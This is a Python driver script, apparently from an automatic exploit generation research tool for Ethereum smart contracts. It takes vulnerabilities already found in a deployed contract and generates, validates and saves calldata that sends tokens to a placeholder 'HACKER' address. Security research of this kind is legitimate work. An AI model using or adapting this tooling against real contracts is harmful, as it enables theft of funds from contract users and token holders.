run.py

import argparse
import json

from aeg import automatic_calldata_generation
from attack_validator import validate_attack
from utils import *

HACKER = w3.to_checksum_address("0x0000000000000000000000000000000000000001")
import logging
logging.disable(logging.CRITICAL)

function_sig_to_type = {
    "0xa9059cbb": "transfer",
    "0x23b872dd": "transfer",
    "0x095ea7b3": "approve",
}


def format_address(addr):
    addr_value = int(addr, 16)
    return w3.to_checksum_address(f"0x{addr_value:040x}")


if __name__ == '__main__':
    arg_parser = argparse.ArgumentParser(description='Check if a contract is exploitable')
    arg_parser.add_argument('--contract', type=str, help='Contract address')
    arg_parser.add_argument('--block', type=int, help='Block number', default=w3.eth.block_number)
    arg_parser.add_argument('--token', type=str, help='Token address')
    arg_parser.add_argument('--function', type=str, help='Function signature')
    args = arg_parser.parse_args()

    block_number = args.block
    contract_addr = w3.to_checksum_address(args.contract)
    workdir = os.path.join(WORKDIR, contract_addr[:5], contract_addr)
    output_path = os.path.join(workdir, 'output_eval_baseline.json')
    if not os.path.exists(workdir):
        print(f"Contract {contract_addr} not found")
        sys.exit(1)
    if not os.path.exists(output_path):
        print(f"Contract {contract_addr} not analyzed")
        sys.exit(1)

    config_greed()

    verified_outputs = []
    for output_file in ["output_eval_concolic.json", "output_eval_baseline.json"]:
        output_path = os.path.join(workdir, output_file)
        if os.path.exists(output_path):
            with open(output_path) as f:
                output = json.load(f)
                verified_outputs.extend(output["verified"])

    for item in verified_outputs:
        print("🔍🔍🔍 Generating exploit...")
        proj = Project(target_dir=workdir)
        proj._w3 = w3
        
        block_info = w3.eth.get_block(block_number)

        caller = format_address(item["caller"])
        origin = format_address(item["origin"])
        
        params_for_validation = {}

        # set token address
        token = item["contract_target"]
        if token == "*":
            if args.token is not None:
                token = w3.to_checksum_address(args.token)
            else:
                print("Token address is not provided, using ETH USDC as default")
                token = "0xa0b86991c6218b36c1d19d4a2e9eb0ce3606eb48"
            token_controlable = True

        else:
            token_controlable = False
        token = w3.to_checksum_address(token)
        params_for_validation["token"] = token
        
        # set signature
        signature = item["function_sig_target"]
        if signature == "*":
            if args.function is not None:
                signature = args.function
            else:
                print("Function signature is not provided, using transfer(address,uint256) as default")
                signature = "0xa9059cbb"
        params_for_validation["type"] = function_sig_to_type.get(signature, None)
        
        # set amount
        amount = item["amount"]
        if amount == "*":
            amount = 1
            amount_controlable = True
        else:
            amount = int(amount, 16)
            amount_controlable = False
        params_for_validation["amount"] = amount
        
        destination = item["destination"]
        if destination == "*":
            destination = HACKER
            dst_controlable = True
        else:
            destination = w3.to_checksum_address(destination[24::])
            dst_controlable = False
        
            if destination != HACKER:
                print(destination)
                print(f"❌❌❌ Destination is not hacker's address!")
                continue
        params_for_validation["receiver"] = destination
        
        destination_offset = item.get("destination_offset", 0)
        amount_offset = item.get("amount_offset", 1)

        if "traces" in item:
            traces = item["traces"]
            calldata_size = item["calldata_size"]
        else:
            traces = None
            calldata_size = options.MAX_CALLDATA_SIZE
        
        calldata = "0x"+item["calldata"][:8] if "SS" not in item["calldata"] else item["calldata"]
        calldata = calldata.rstrip("0")
    
        init_ctx = {
            "CALLER": caller,
            "ORIGIN": origin,
            "ADDRESS": contract_addr,
            "NUMBER": block_info.number,
            "DIFFICULTY": block_info["difficulty"],
            "TIMESTAMP": block_info["timestamp"],
            "CALLDATASIZE": calldata_size,
            "CALLDATA": calldata,
        }
        
        valid = False

        for i in range(2):
            if i == 1:
                params_for_validation["amount"] = 0
            exploit = automatic_calldata_generation(proj, init_ctx, item["call_tac_id"], None,  signature, token, destination, token_controlable, dst_controlable, amount_controlable, traces, destination_offset, amount_offset, params_for_validation)

            if exploit is None:
                print(f"❌❌❌ Exploit generation failed!")
                continue
            else:
                exploit, valid = exploit
                if not valid:
                    print(f"🔥🔥🔥 Validating the exploit...")
                    valid = validate_attack(contract_addr, caller, origin, block_number, exploit, params_for_validation)
                
                if valid:
                    print(f"🚀🚀🚀 Exploit is valid!")
                else:
                    print(f"❌❌❌ Exploit is invalid!")

                if valid:
                    save_exploits(contract_addr, block_number, {
                        "caller": caller,
                        "origin": origin,
                        "calldata": exploit,
                        "block_number": block_number,
                    })
                    break
                else:
                    print(f"ethdbg --calldata {exploit} --target {contract_addr}  --sender  {origin} --block {block_number}")
        if valid:
            break